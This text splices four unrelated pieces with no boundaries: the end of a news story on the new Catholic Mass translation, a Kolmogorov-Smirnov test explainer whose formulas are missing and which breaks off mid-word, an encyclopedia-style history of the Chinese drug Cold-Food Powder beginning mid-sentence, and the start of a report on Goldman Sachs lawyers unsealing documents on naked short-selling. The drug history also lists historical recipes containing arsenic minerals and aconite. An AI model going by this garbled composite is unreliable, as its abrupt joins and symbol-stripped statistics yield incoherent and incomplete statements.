The Rev. Anthony Ruff, a scholar of Latin and Gregorian chant at St. John’s University and seminary in Collegeville, Minn., worked on parts of the latest translation with the International Commission on English in the Liturgy, but he left after he became “increasingly critical of the clunky text and the top-down secretive process” with which it was being created, he said.
“The syntax is too Latinate — it’s not good English that will help people pray,” he said in an interview. “Rome got its way in forcing this on us, but it is a Pyrrhic victory because it is not bringing the whole church together around a high quality product.”
Catholics throughout the world worshiped in Latin until Vatican II, when the church granted permission for priests to celebrate Mass in other languages. The English translation used until this weekend was published in the early 1970s and modified in 1985. Scholars then began work on a new translation, and by 1998 a full draft of the new missal was completed and approved by bishops’ conferences around the English-speaking world.
But Rome never approved that translation, and instead, in 2001, issued new guidelines requiring that the language of the Mass carefully follow every word of the Latin text, as well as the Latin syntax, where possible. That marked a dramatic philosophical shift from the more flexible principle of “dynamic equivalence” that had guided the earlier translations.
The Rev. Michael Ryan, pastor of St. James Cathedral in Seattle, who started the Web petition to postpone the new text, said he believed that nearly all critics among clergy would nonetheless use the new translation.
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“I am not going to change a word, because the only way it will get evaluated is if people hear it as it is,” he said. “I trust the people will indeed speak up.”
The Rev. Daniel Merz, associate director of the secretariat of divine worship for the United States Conference of Catholic Bishops, which is in charge of promulgating the changes in America, said the text had been widely discussed before it was put into use. He said the new translation was more poetic and filled with imagery.
“I don’t think there’s ever been a document that’s been so consulted in the history of the world,” he said.
“Over time, we have realized that there is a better way to pray,” he added. “Not that the old way was bad, but we hope and believe that this new way is better.”The Kolmogorov-Smirnov Test¶
A visit to a data and statistical technique useful to software engineers. We learn about some Rust too along the way.
The code and examples here are available on Github. The Rust library is on crates.io.
Kolmogorov-Smirnov Hypothesis Testing¶ The Kolmogorov-Smirnov test is a hypothesis test procedure for determining if two samples of data are from the same distribution. The test is non-parametric and entirely agnostic to what this distribution actually is. The fact that we never have to know the distribution the samples come from is incredibly useful, especially in software and operations where the distributions are hard to express and difficult to calculate with. It is really surprising that such a useful test exists. This is an unkind Universe, we should be completely on our own. The test description may look a bit hard in the outline below but skip ahead to the implementation because the Kolmogorov-Smirnov test is incredibly easy in practice. The Kolmogorov-Smirnov test is covered in Numerical Recipes. There is a pdf available from the third edition of Numerical Recipes in C. The Wikipedia article is a useful overview but light about proof details. If you are interested in why the test statistic has a distribution that is independent and useful for constructing the test then these MIT lecture notes give a sketch overview. See this introductory talk by Toufic Boubez at Monitorama for an application of the Kolmogorov-Smirnov test to metrics and monitoring in software operations. The slides are available on slideshare. The Test Statistic¶ The Kolmogorov-Smirnov test is constructed as a statistical hypothesis test. We determine a null hypothesis,, that the two samples we are testing come from the same distribution. Then we search for evidence that this hypothesis should be rejected and express this in terms of a probability. If the likelihood of the samples being from different distributions exceeds a confidence level we demand the original hypothesis is rejected in favour of the hypothesis,, that the two samples are from different distributions. To do this we devise a single number calculated from the samples, i.e. a statistic. The trick is to find a statistic which has a range of values that do not depend on things we do not know. Like the actual underlying distributions in this case. The test statistic in the Kolmogorov-Smirnov test is very easy, it is just the maximum vertical distance between the empirical cumulative distribution functions of the two samples. The empirical cumulative distribution of a sample is the proportion of the sample values that are less than or equal to a given value. For instance, in this plot of the empirical cumulative distribution functions of normally distributed data, and samples, the maximum vertical distance between the lines is at about -1.5 and 1.5. The vertical distance is a lot clearer for an sample against. The maximum vertical distance occurs somewhere around zero and is quite large, maybe about 0.35 in size. This is significant evidence that the two samples are from different distributions. As an aside, these examples demonstrate an important note about the application of the Kolmogorov-Smirnov test. It is much better at detecting distributional differences when the sample medians are far apart than it is at detecting when the tails are different but the main mass of the distributions is around the same values. So, more formally, suppose are n independent and identically distributed observations of a continuous value. The empirical cumulative distribution function,, is: Where is the indicator function which is 1 if is less than or equal to and 0 otherwise. This just says that is the number of samples observed that are less than or equal to divided by the total number of samples. But it says it in a complicated way so we can feel clever about ourselves. The empirical cumulative distribution function is an unbiased estimator for the underlying cumulative distribution function, incidentally. For two samples having empirical cumulative distribution functions and, the Kolmogorov-Smirnov test statistic,, is the maximum absolute difference between and for the same, i.e. the largest vertical distance between the plots in the graph. The Glivenko–Cantelli theorem says if the is made from samples from the same distribution as then this statistic “almost surely converges to zero in the limit when n goes to infinity.” This is an extremely technical statement that we are simply going to ignore. Two Sample Test¶ Surprisingly, the distribution of can be approximated well in the case that the samples are drawn from the same distribution. This means we can build a statistic test that rejects this null hypothesis for a given confidence level if exceeds an easily calculable value. Tables of critical values are available, for instance the SOEST tables describe a test implementation for samples of more than twelve where we reject the null hypothesis, i.e. decide that the samples are from different distributions, if: Where n and m are the sample sizes. A 95% confidence level corresponds to for which. Alternatively, Numerical Recipes describes a direct calculation that works well for: i.e. for samples of more than seven since. Numerical Recipes continues by claiming the probability that the test statistic is greater than the value observed is approximately: With defined as: This can be computed by summing terms until a convergence criterion is achieved. The implementation in Numerical Recipes gives this a hundred terms to converge before failing. The difference between the two approximations is marginal. The Numerical Recipes approach produces slightly smaller critical values for rejecting the null hypothesis as can be seen in the following plot of critical values for the 95% confidence level where one of the samples has size 256. The x axis varies over the other sample size, the y axis being the critical value. The SOEST tables are an excellent simplifying approximation. Discussion¶ A straightforward implementation of this test can be found in the Github repository. Calculating the test statistic using the empirical cumulative distribution functions is probably as complicated as it gets for this. There are two versions of the test statistic calculation in the code, the simpler version being used to probabilistically verify the more efficient implementation. Non-parametricity and generality are the great advantages of the Kolmogorov-Smirnov test but these are balanced by drawbacks in ability to establish sufficient evidence to reject the null hypothesis. In particular, the Kolmogorov-Smirnov test is weak in cases when the sample empirical cumulative distribution functions do not deviate strongly even though the samples are from different distributions. For instance, the Kolmogorov-Smirnov test is most sensitive to discrepency near the median of the samples because this is where differences in the graph are most likely to be large. It is less strong near the tails because the cumulative distribution functions will both be near 0 or 1 and the difference between them less pronounced. Location and shape related scenarios that constrain the test statistic reduce the ability of the Kol |
11) compares jade and Cold-Food Powder as drugs that can cause fevers.
Whether taken in small fragments or liquefied and sipped, jade renders man immortal. It is inferior to gold, however, in that it frequently causes fever, for it resembles han-shih-san. When jade is taken in small fragments, a spatula of both realgar and cinnabar should be taken once every ten days. Then you will not run a fever when traveling against the wind after you have taken down your hair, washed it, and bathed. (tr. Ware 1966:189)
Compare Sailey's (1978:427) translation that after taking the drug one "loosens his hair and takes a bath: [having used] cold water, he welcomes the breeze and goes walking. Thus he does not get a fever."
Two other Baopuzi Inner Chapters mention wushi. First, "Gold and Cinnabar" (chap. 4) has several references. The Five Minerals are used to produce the Jiuguangdan (九光丹) elixir that will supposedly raise the dead.
There is also the Ninefold Radiance Elixir, which uses a method similar but not quite like that of the Nine-Cycle Elixir. Various ingredients are mixed and fired separately with each of the five minerals, cinnabar, realgar, arsenolite, laminar malachite, and magnetite [五石者, 丹砂, 雄黃, 白礜, 曾青, 慈石也]. Each mineral is put through five cycles and assumes five hues, so that altogether twenty-five hues result. Separate containers are each filled with one ounce of each hue. If you wish to raise a body that has not been dead for fully three days, bathe the corpse with a solution of one spatula of the blue elixir, open its mouth, and insert another spatula full; it will revive immediately. (tr. Ware 1966:82)
The Five Minerals are also ingredients for making: "T'ai-I's elixir for Summoning Gross and Ethereal Breaths" (太乙招魂魄丹法) that can revive a corpse up to four days after death, as well as "Mo Ti's elixir" (墨子丹法), "Ch'i-li's elixir" (綺裏丹法), and "Duke Li's elixir" (李公丹法) that cure one's illnesses and, if taken over a long period, make one immortal (tr. Ware 1966:87–88).
Second, "Into Mountains: Over Streams" (chap. 17) tells how to make a Five Minerals protective charm that will ensure water-travel safety.
Chin chien chi [金簡記] reads; "At noon on the ping-wu day of a fifth moon pestle the Five Minerals to a mixture. The Five Minerals are realgar, cinnabar, orpiment, alum, and laminar malachite [五石者, 雄黃, 丹砂, 雌黃, 礬石, 曾青也]. When they have all been reduced to a powder, wash it in 'Gold Flower' solvent and place in a Six-One crucible, heat over cinnamon wood using a bellows. When this mixture has been completed, refine it with hardwood charcoal, having young girls and boys approach the fire. With a male mixture, make a male dagger; with a female one, make a female dagger, each of them 5.5 inches long. (Earth's number, 5, is used in order to suppress the stream's powers.) Wear these daggers when traveling on water, and no crocodiles, dragons, large fish, or water gods will dare approach you." (tr. Ware 1966:294)
Compared with the previous Baopuzi list of the Five Minerals, this one replaces "arsenolite" (白礜) with "orpiment" (雌黃) and "magnetite" (慈石) with the logographically similar "alum" (礬石).
One Outer Chapter, "Censuring Muddle-headedness" (chap. 26), abbreviates wushisan as shisan (石散) in criticizing mourners who use the drug.
I have also heard that noblemen, when in the 'great sorrow' [mourning a parent's death], or when they take [wu-]shih-san, have several meals [to get the drug to circulate in the body]. People drink great amounts of wine as if one's life depended upon it. When their illness has reached the crisis stage, they cannot endure the wind and the cold [from the fever]. … "It gets to the point where they become very drunk. They say, 'This is the custom in the capital, Loyang.' Is this not a sad thing? (tr. Sailey 1978:159–160)
Ge Hong's friend Ji Han (嵇含 c. 262–306) wrote a fu "rhapsody; poetic exposition" on Cold-Food Powder, which claims "it cured his ailing son when other treatments had failed" (Lagerway and Lü 2010:358).
The (554) Book of Wei records that both the Northern Wei emperors Daowu (r. 386–409) and Mingyuan (r. 409–423) often took Cold-Food Powder, and (tr. Lagerway and Lü 2010:246), "In the end, they were 'unable to handle state affairs' and eventually died of elixir poisoning." Wagner (1973:142, Sailey 1978:431) noted that the Northern Wei "barbarian" rulers regarded the drug as a "status symbol."
The Liu Song Dynasty (420–479) A New Account of the Tales of the World (Shishuo xinyu 世說新語), compiled by Liu Yiqing (劉義慶, 403–444), contains contemporary references to using the drug. The text uses xingsan four times, wushisan once, fusan (服散 "take powder") once, and has two references to harmful side effects.
The Shishuo xinyu (tr. Mather 1976:36) only directly refers to wushisan in quoting He Yan (see above), "Whenever I take a five-mineral powder, not only does it heal any illness I may have, but I am also aware of my spirit and intelligence becoming receptive and lucid" [服五石散, 非唯治病, 亦覺神明開朗]. The commentary of Liu Xun (劉峻, 462–521) explains,
Although the prescription for the cold-food powder (han-shih san) originated during the Han period, its users were few and there are no accounts handed down concerning them. It was the Wei president of the Board of Civil Office, Ho Yen, who first discovered its divine properties, and from his time on it enjoyed a wide currency in the world, and those who used it sought each other out. (tr. Mather 1976:36)
Two contexts refer to Wang Chen (王忱, d. 392), son of the Eastern Jin official Wang Tanzhi. First, Wang Chen enjoyed taking wushisan with his lifelong friend Wang Gong (王恭, d. 398), brother of Jin Dynasty Empress Wang Fahui (cf. Mather 1976:75 and 143).
Wang Kung was at first extremely fond of Wang Ch'en, but later, encountering the alienation of Yüan Yüeh, the two eventually became mutually suspicious and estranged. However, whenever either of them came upon any exhilarating experience, there would unavoidably be times when they missed each other. Kung was once walking after having taken a powder (hsing-san), on the way to the archery hall at Ching-k'ou (near Chien-k'ang). At the time the clear dewdrops were gleaming in the early morning light, and the new leaves of the paulownia were just beginning to unfold. Kung looked at them and said, "Wang Ch'en is surely and unmistakably as clear and shining as these!" (tr. Mather 1976:246)
Keith McMahon cites the Wangs' wushisan camaraderie as a historical analogy for 19th-century opium addicts.
In one old anecdote, two fourth-century friends of considerable status think fondly of each other whenever they have a euphoric experience. One of the friends takes the powder and, coming upon a beautiful scene, immediately thinks of the brilliance of his absent friend. It was not necessarily that individuals took the powder together at the same time, but that people of like interests and status enjoyed the special effects of this drug and did so without embarrassment or sense of shameful indulgence. (2002:117)
Second, when Huan Xuan was summoned to the capital in 387 to serve the crown prince Sima Dezong, his friend Wang Chen came to visit (tr. Mather 1976:390), and was "slightly drunk after having taken a powder [fusan 服散]"... Huan set out wine for him, but since he was unable to drink it cold (because of the powder), Huan unthinkingly said to his attendants, 'Have them warm (wen) the wine and bring it back.' After doing so, he burst into tears and cried out, choking with grief." The commentary explains that Huan, who tended to be overemotional, violated the Chinese naming taboo of his deceased father Huan Wen (桓溫) when he said wen (溫 "warm").
Two Shishuo xinyu contexts mention medical problems that commentators identify as wushisan side effects. When Yin Ji (殷覬, d. 397—"apparently from an overdose of drugs" Mather 1976:604) learned his cousin Yin Zhongkan (殷仲堪) was plotting a coup, he refused to participate, took wushisan, and walked away in resignation from his post. "When Yin Chi's illness became critical [bingkun 病困], when he looked at a person, he only saw half of his face" (tr. Mather 1976:287), citing Yu Jixia (1963) that "temporary impairment of vision" was one harmful effect. When Bian Fanzhi (卞範之) was capital intendant for Huan Xuan in 402, his friend Yang Fu (羊孚, c. 373–403) sought help for a bad reaction to wushisan (tr. Mather 1976:370). Yang went to Bian's house and said, "My illness is acting up [zhidong 疾動], and I can't endure sitting up." Bian had him lie down on a large bed, and "sat keeping vigil by his side from morning until evening."
Tang Dynasty [ edit ]
The Tang Dynasty (618–907) era was the final heyday for Cold-Food Powder drug users. According to Sun Simiao's (c. 670) Qianjin yifang (千金要方 "Supplement to the thousand Golden Remedies", tr. Englehardt 2008:473), the powder "contained five mineral drugs — fluorite, quartz, red bole clay, stalactite and sulfur, one animal drug, and nine plant drugs. It was claimed to be effective in curing many diseases and in increasing vitality, but was also said to have several side effects."
Needham and Lu (1974:288) refer to Sun's prescriptions for wushisan and hanshisan ("powder of the five minerals" and "swallowed-cold powder"), as well as wushi gengsheng san (五石更生散 "five minerals resurrection powder"), and wushi huming san (五石護命散 " five minerals life-preserving powder"), "all to be used in cases of sexual debility". Sun Simiao attributed one formula, the cishi hanshisan (紫石寒食散 "purple mineral cold powder") to the Han Dynasty doctor Zhang Zhongjing, and remarked, "There have also been those who have acquired an addiction to the Five-Mineral preparations on account of their avidity for the pleasures of the bedchamber", namely Daoist sexual practices. They conclude, "China was certainly not the only civilisation to believe that arsenic had aphrodisiac properties; such a view long prevailed in the West." Needham and Lu quote Fan Xingjun (范行準 1947:42) on historical developments in Chinese aphrodisiacs.
The ancients of Chou and Han times, he said, relied upon perfumes (hsiang), wine and beguilements (chiu, yu huo); in Chin and Northern Wei the mineral mixtures (such as Han Shih San) were famous; Thang and Northern Sung people consumed especially the alchemical elixirs (chin tan), generally mercurial and often doubtless arsenical. Then in the Southern Sung came the regular isolation of mixtures of steroid sex hormones (chiu shih, hung chhien), much used in Yuan and Ming, while the Chhing afterwards succumbed to opium (yaphien). (1974:289–290)
While Chinese historians have traditionally believed the practice of consuming hanshisan persisted into the Tang dynasty and almost disappeared afterwards, Obringer (1995:219) thinks, "it may be more accurate to say that the name of the drug has been eclipsed, but not the habit of taking it." Evidencing the disappearance of the name wushisan, Obringer compares parallel descriptions of exactly the same medical treatments and troubles for drug-using patients. The (752) Waitai biyao (外台秘要 "Arcane Essentials from the Imperial Library"), compiled by Wang Tao (王焘), quotes the rules for wushisan users; the (992) Taiping shenghui fang (太平聖惠方 "Imperial Grace Formulary of the Taiping Era [976–983]") medical compendium, which does not mention wushisan or hanshisan, quotes them for rushi (乳石 "stalactite and quartz") users.
Song Dynasty [ edit ]
During the Song Dynasty (960–1279) period, Englehardt (2008:473) says, "Cold-Food Powder was ethically condemned and became synonymous with a heterodox ideology and an immoral lifestyle. This may explain why the name of the drug was banned after the Tang, while the use of identical pharmaceutical drugs has continued under different names."
Su Shi's (1060) Dongpo zhilin ("Recollections of Su Dongpo", tr. Obringer 1995:218) exemplifies Song era moral condemnation of the drug: "The vogue for taking stalactite and aconite, for stooping to alcoholic and sexual debaucheries in order to obtain long life began in the times of He Yan. This person, in his youth, was wealthy and of noble birth: he took hanshisan to maintain his concupiscence. It is not surprising that the habit was sufficient to kill, day by day, himself and his clan."
Dikötter (2004:30) says that "From the Song onwards, mineral powders became more varied, including increasing quantities of medical herbs, ginger, ginseng and oyster extract, thus changing in character from alchemical substances to formal medicines (yao)."
Ingredients [ edit ]
Cinnabar (mercury sulfide), quartz (silicon dioxide), and dolomite crystals (calcium magnesium carbonate) from Hunan, China
Orpiment (arsenic sulfide) from China
Prepared realgar (arsenic sulphide)
The precise components of hanshisan or wushisan are uncertain. Sailey describes the difficulties in identifying the ingredients.
The drug has not been made since the Tang; surely, if scholars believed they could make it, they would have tried. Also, there is the problem that the term chih 脂 (paste) implies the addition of other materials to make it congeal, materials which are not identified. … Perhaps the greatest problem of all, though, is the fact that drug-makers have traditionally guarded their secrets well, and references to major ingredients by color lead the reader to the inevitable conclusion that an esoteric formula is being used, hinting at, rather than explicitly stating, the contents of the mixture. (1978:425)
Needham (1976:96) estimates "at least a half dozen" quite different ingredient lists, "all from authoritative sources."
The Baopuzi records two different lists of the Five Minerals (given below with literal meanings). Chapter 4 lists dansha (丹砂 lit. "red sand"), xionghuang (雄黃 "male yellow"), baifan (白礬 lit. "white alum"), cengqing (曾青 lit. "once green"), and cishi (慈石 lit "compassionate stone", cf. ci 磁 "magnet"). English translations include:
cinnabar, realgar, pai-fan (synonymous with fan-shih 礬石, potash alum), malachite and tz'u-shih (magnetic iron ore, magnetite, black oxide of iron) (Feifel 1944, with footnotes added)
礬石, potash alum), malachite and tz'u-shih (magnetic iron ore, magnetite, black oxide of iron) (Feifel 1944, with footnotes added) cinnabar, realgar, arsenolite, laminar malachite, and magnetite (Ware 1966:82)
cinnabar, realgar, purified potash alum, stratified malachite, and magnetite (Needham (1976:86)
Needham translates baifan (白礜) as "purified potash alum" rather than "arsenolite". Chapter 17 lists xionghuang, dansha, cihuang (雌黃 lit. "female yellow"), fanshi (礬石 lit. "alum stone"), and cengqing.
realgar, cinnabar, orpiment, alum, and laminar malachite (Ware 1966:294)
Note the "male/female yellow" contrast between orange-red xionghuang (雄黃 "realgar") and yellow-red cihuang (雌黃 "orpiment"). Compared with chapter 4's list of the Five Minerals, this version rearranges three ingredients (cinnabar, realgar, and stratified malachite) and replaces two: baifan (白礬 "arsenolite") with cihuang (雌黃 "orpiment") and cishi (慈石 "magnetite") with the graphically similar fanshi (礬石 "alum"). In traditional wuxing "five phases/elements" theory, the correlating wuse (五色 "five colors") are blue, yellow, red, white, and black (青, 赤, 黄, 白, and 黑). Needham says,
The [chapter 4] series cinnabar, realgar, alum, malachite and magnetite would be most consonant with the colours (red, yellow, white, caerulean and black) required in the traditional five-element symbolic correlations, so it may have been one of the earliest. Yu shih ([礜石] arsenolite), also white, because of the similarity of its orthography, tended to get substituted for fan shih ([礬石] alum) but the latter is much more common in the alchemical texts—here perhaps was a real pitfall for the unwary experimentalist. (1976:96)
Ingredients listed in the above Tang Dynasty Qianjin yifang (Obringer 1995:216) include " five mineral drugs (fluorine, quartz, red bole clay, stalactite and sulphur), one animal drug (shell of Cyclina sinensis) and nine plant drugs (Saposhnikovia divaricata, Trichosanthes kirilowii, Atractylodes macrocephala, Panax ginseng, Platycodon grandiflorus, Asarum sieboldii, Zingiber officinale, Cinnamomum cassia and Aconitum sp.). Besides giving this detailed hanshisan formula, the Qianjinfang ironically warns the toxicity "was so great that one was compelled to burn any record of its formula" (Obringer 1995:218). Mather (1976:20) translates the five mineral substances as: stalactite (shih-chung-ju [石鐘乳]), sulphur (shih-liuhuang [石硫磺]), milky quartz (pai-shih-ying [白石英]), amethyst (tzu-shih-ying [紫石英]), and red bole or ochre (ch'ih-shih-chih [赤石脂])."
Based upon numerous hanshisan recipes, Wagner's (1973:111–113) "Das Rezept des Ho Yen" lists 13 ingredients: First, 2.5 liang (兩 "tael") of six ingredients: zhongru (鐘乳 "stalactite"), baishiying (白石英 "milky quartz"), haige (海蛤 "oyster shell"), zishiying (紫石英 "amethyst"), fangfeng (防風 "Saposhnikovia divaricata"), and gualou (栝樓 "Trichosanthes kirilowii fruit"). Second, 1.5 liang of two: ganjiang (幹薑 "Zingiber officinale; dried ginger") and baishu (白术 "Atractylis ovata"). Third, 5 fen (分 "candareen") of two ingredients: jiegeng (桔梗 "Platycodon grandiflorus; Chinese bellflower") and xixin (細辛 "Asarum sieboldi; Chinese wild ginger"). Fourth, 3 fen of three: renshen (人參 "Panax ginseng; ginseng"), fuzi (附子 "Aconitum lycoctonum; monkshood"), and guixin (桂心 "Cinnamomum cassia; cinnamon; cassia-bark tree"). Sailey (1978:425) criticizes a "number of difficulties" in Wagner's attempts to identify the drug's ingredients. Schipper (1993:180) summarizes Wagner's recipe as "stalactite milk and quartz, along with some realgar and orpiment, as well as a mixture of circulation-increasing medicinal plants like ginseng and ginger."
Some of these ingredients, such as Platycodon and cinnamon, are tonic and can be used medicinally. Other ingredients are highly toxic. Cinnabar is the ore for mercury. Realgar, orpiment, and arsenolite contain arsenic – but magnetite removes arsenic from water. Fluorine is highly reactive and poisonous. Aconitum can be lethal. The Dutch historian Frank Dikötter (2004:30) suggests, "Resembling fresh blood, the realgar was probably an early ingredient in alchemical attempts at creating an elixir of immortality."
Usage [ edit ]
Chinese sources provide little reliable information about how hanshisan was prepared and used.
There are only a few discussions of the actual manner in which the drug was taken. Apparently it was taken in three doses, sometimes with food. Numerous sources mention that the drug was washed down with wine, sometimes heated, sometimes cold. This undoubtedly was to heighten the effects of the drug, but certainly, it must have made it more dangerous to the body. We are also told that after consuming the drug, it was necessary to "circulate the powder" (hsing-san 行散), that is, to move about so that the drug would circulate in the bloodstream. (Sailey 1978:427)
"Wine" is the common English translation of Chinese jiu (酒 "Chinese alcoholic beverages"), which inclusively means "beer", "wine, and "liquor".
Sailey (1978:430) notes that early drugs certainly varied in purity and quality, and "this factor certainly must have influenced the effectiveness of han-shih san."
Effects [ edit ]
Cold-Food Powder had both positive and negative effects, which could sometimes be incongruous, such as having "simultaneously tranquilizing and exhilarating properties" (Mather 1976:20).
Obringer (1995:216–217) classifies 52 symptoms described by Huangfu Mi.
Pain: Various pains appeared very often, and occurred in almost every parts of the body: head, waist, heart, throat, extremities, arms and legs, skin, and eyes.
Digestive disorders: Swollen stomach, diarrhea, lack of appetite, constipation.
Urinary troubles: Strangury, frequent micturitions.
Fever symptoms: Fever, chills, sensation of cold with involuntary shivering.
Pulmonary disorders: qi 氣 (life-breath) back flow in the chest, coughing.
氣 (life-breath) back flow in the chest, coughing. Sensorial troubles: These mainly concern eyes and vision: eye pain, sight trouble, dizzy spells, but also buzzing noise in the ears, and loss of smell.
Skin troubles: This category is very important. Two great groups are mentioned: the first consists of all kinds of "rottenness" of flesh; the second is the group of cutaneous disorders like abscesses, ulcers, especially on the legs and on the back.
Behavioural disorders: Huangfu Mi relates, in a one passage, his own experience of depression and suicidal tendencies after ingesting the drug. A trail of troubles like insomnia, anxiety, sadness, confusion, and fright are also described.
States of shock: Cases of dramatic troubles like loss of consciousness, stoppage of breath or falling into comatose states are said to occur sometimes after taking the powder.
Obringer (1995:217) notes that acute or chronic arsenic poisoning can cause many of these symptoms: "abdominal pains, diarrhea, nasal and ocular congestion, cutaneous disorders, extremities pains, vision troubles (in relation, we know, with optical neuritis)."
Sailey summarizes Yu Jiaxi's (1963:59) comprehensive Chinese-language analysis.
He stresses the idea that the effectiveness of the drug lay in its ability to create warmth. If the taker went too far, he would catch a fever, while if he cooled off too quickly, it would be extremely dangerous. Yu maintains that the greatest danger would occur (1) if the drug was taken too often, (2) if it was taken merely for stimulation and not to cure a serious illness, or (3) if the heat entered the marrow. In the last case, Yu believes, chronic illness and even death might result. In comparing the drug to opium, he notes that it could create even more injurious effects, but he conjectures that it was not addictive if taken twenty or thirty days apart. Yu believes that the drug "caused death or at least chronic disease that in the end could not be cured." (1978:429)
The Baopuzi translation of Jay Sailey (1978:428) notes that hanshisan had "different types of effects upon different types of people, and even to have affected the same person differently depending on his mood when he took the drug. In some cases it led to depression, suicide, or madness; in others it resulted in anger, lethargy, changes in appetite, or disregard of custom." Sailey (1978:430) also says, "Having initially been used as a medicine to cure severe illnesses, its mind-expanding properties were apparently discovered and exploited during the mid-third century, which marked a high point in the development of all sorts of drugs and medicines made from organic and inorganic substances."
Schipper gives a detailed description of the powder's efficacies.
One of the immediate effects of this drug was a sharp elevation in the body's temperature, forcing the user to drink a lot and to eat cold things; hence its name. Among the beneficial effects of this drug, the most frequently mentioned are sedation, an increase in aesthetic sensitivity, vision, and sexual energy, and greater physical resistance. The drug may also have been hallucinogenic. Aside from the immoderate rise in body temperature, other disadvantages included a gradual decrease in intellectual capacity, partial paralysis, aches and inflammation of the joints, ulcers, intercostal pains, and, over time, a general deterioration of the body. It was extremely important to follow the prescriptions regarding when and how much of the drug was to be taken. The powder was mixed with warm wine and had, like opium and heroin, an immediate effect. But if one made a mistake in the dose or the timing, or if one was not in a good psychological frame of mind (that is, too nervous, worried, sad, et cetera), the drug "rose" too fast, bringing on not only a depression, but also intolerable pain. (1993:180)
Influences on society and culture [ edit ]
For an obsolescent drug that was only popular during a few centuries in Medieval Chinese society, Cold-Food Powder was highly influential.
Lu Xun (1927:111, tr. Sailey 1978:424) claimed, "most of the famous men [of Wei-Chin] took drugs." Based upon historical accounts of hanshisan users, scholars generally associate the drug with the scholar-gentry social class. However, Akahori Akira (1989:93) proposes an economic class distinction between users of the two popular drugs during the Three Kingdoms period. Only the "rich and powerful" could afford the rare Chinese alchemy ingredients for dan (丹 "cinnabar") elixirs of immortality – "Common folk instead took drugs that were easier to get, like cold-food powder (which, though actually less toxic, would cause a greater number of deaths)." In addition, Lu Xun compared the ingestion of hanshisan powder to opium addiction in China during the nineteenth century.
During the Six Dynasties period, Chinese society was generally uncritical of hanshisan, which Sailey calls an "unexpected silence".
We hear scholars condemn the use of the drug only for two reasons: its danger to health, and, as in the case of Ko Hung, its use during the mourning period and at times when the taking of stimulants is inappropriate or disrespectful. Use of drugs such as han-shih san was apparently never regarded as illegal, immoral, or basically wrong. This "drug culture'" of han-shih san apparently, as Wagner suggests, integrated itself into the activities of wine-drinkers and skirt-chasers. Curiously, this may have led to its demise by T'ang times, since it could not compete with presumably less dangerous forms of entertainment. (1978:432)
This refers to Ge Hong's Baopuzi above (26, tr. Sailey 1978:159–160) criticism of "noblemen" from Luoyang who violated mourning rules by taking wushisan and getting drunk. Ge, who praises many other drugs as integral to achieving xian immortality, only denounces this "powerful hallucinogenic" drug as contributing to the "decline of propriety and morality" and "disorder in society" (Sailey 1978:338). In addition, Sailey (1978:431) suggests that Southerners like Ge Hong opposed hanshisan because it probably originated in North China and was not widely used in the South until after the fall of Luoyang in 317. "Users of the drug comprised, at least in their own eyes, an elite group. This caused envy on the part of certain other people." In Ge Hong's time, "there must have been an association between the drug on the one hand and the Northerners' image as occupiers who discriminated against the scholars of the South with regard to holding high office on the other."
The German sinologist Rudolf G. Wagner (1973, cited by Sailey 1978:431–432) speculated that hanshisan, which was associated with "greater mental awareness and perceptiveness", was used by some Chinese Buddhists. For instance, Huiyi (慧義, 372–444) who infamously ingratiated himself with Emperor Wu of Liu Song and General Fan Tai.
Audry Spiro proposes that wushisan transformed Chinese clothing fashions during the Wei-Jin period.
This temporary restorer of vitality had an important influence on fashions of the day. To ensure efficacy and avoid negative effects, the user had to consume heated wine and to exercise after taking it. The resulting fever required the wearing of thin, loose clothing. Skin lesions, among the many negative consequences of this drug (which may have contained arsenic), also dictated the necessity for loose clothing. For the same reason, close-fitting shoes or slippers that exacerbated the lesions could not be worn, and they were replaced by clogs. It is obvious that the use of five-mineral powder required a specific regimen, one clearly not appropriate for attendance at court. Strolling in clogs and drinking wine, the wide robe loosely belted—some men dressed and behaved this way because they took the powder. Others of their class, eschewing the powder, nevertheless adopted the lifestyle. It became, in short, the fashion. (1990:79–80)
Using the drug powders was associated with Chinese poetry. Huang Junjie and Erik Zürcher (1995:256) say that when the Seven Sages of the Bamboo Grove took wushisan, "they had to drink cold liquor and take walking excursions in order to avoid arsenic poisoning. Intoxicated enchantment with nature's beauty led to their writing poems on landscape, and thus they initiated the genre of 'Nature Poetry'."
See also [ edit ]
References [ edit ]It doesn’t happen often, but sometimes God smiles on us. Last week, he smiled on investigative reporters everywhere, when the lawyers for Goldman, Sachs slipped on one whopper of a legal banana peel, inadvertently delivering some of the bank’s darker secrets into the hands of the public.
The lawyers for Goldman and Bank of America/Merrill Lynch have been involved in a legal battle for some time – primarily with the retail giant Overstock.com, but also with Rolling Stone, the Economist, Bloomberg, and the New York Times. The banks have been fighting us to keep sealed certain documents that surfaced in the discovery process of an ultimately unsuccessful lawsuit filed by Overstock against the banks.
Last week, in response to an Overstock.com motion to unseal certain documents, the banks’ lawyers, apparently accidentally, filed an unredacted version of Overstock’s motion as an exhibit in their declaration of opposition to that motion. In doing so, they inadvertently entered into the public record a sort of greatest-hits selection of the very material they’ve been fighting for years to keep sealed.
I contacted Morgan Lewis, the firm that represents Goldman in this matter, earlier today, but they haven’t commented as of yet. I wonder if the poor lawyer who FUBARred this thing has already had his organs harvested; his panic is almost palpable in the air. It is both terrible and hilarious to contemplate. The bank has spent a fortune in legal fees trying to keep this material out of the public eye, and here one of their own lawyers goes and dumps it out on the street.
The lawsuit between Overstock and the banks concerned a phenomenon called naked short-selling, a kind of high-finance counterfeiting that, especially prior to the introduction of new regulations in 2008, short-sellers could use to artificially depress the value of the stocks they’ve bet against. The subject of naked short-selling is a) highly technical, and b) very controversial on Wall Street, with many pundits in the financial press for years treating the phenomenon as the stuff of myths and conspiracy theories.
Now, however, through the magic of this unredacted document, the public will be able to see for itself what the banks’ attitudes are not just toward the “mythical” practice of naked short selling (hint: they volubly confess to the activity, in writing), but toward regulations and laws in general.
“Fuck the compliance area – procedures, schmecedures,” chirps Peter Melz, former president of Merrill Lynch Professional Clearing Corp. (a.k.a. Merrill Pro), when a subordinate worries about the company failing to comply with the rules governing short sales.
We also find out here how Wall Street professionals manipulated public opinion by buying off and/or intimidating experts in their respective fields. In one email made public in this document, a lobbyist for SIFMA, the Securities Industry and Financial Markets Association, tells a Goldman executive how to engage an expert who otherwise would go work for “our more powerful enemies,” i.e. would work with Overstock on the company’s lawsuit.
“He should be someone we can work with, especially if he sees that cooperation results in resources, both data and funding,” the lobbyist writes, “while resistance results in isolation.”
There are even more troubling passages, some of which should raise a few eyebrows, in light of former Goldman executive Greg Smith's recent public resignation, in which he complained that the firm routinely screwed its own clients and denigrated them (by calling them "Muppets," among other things).
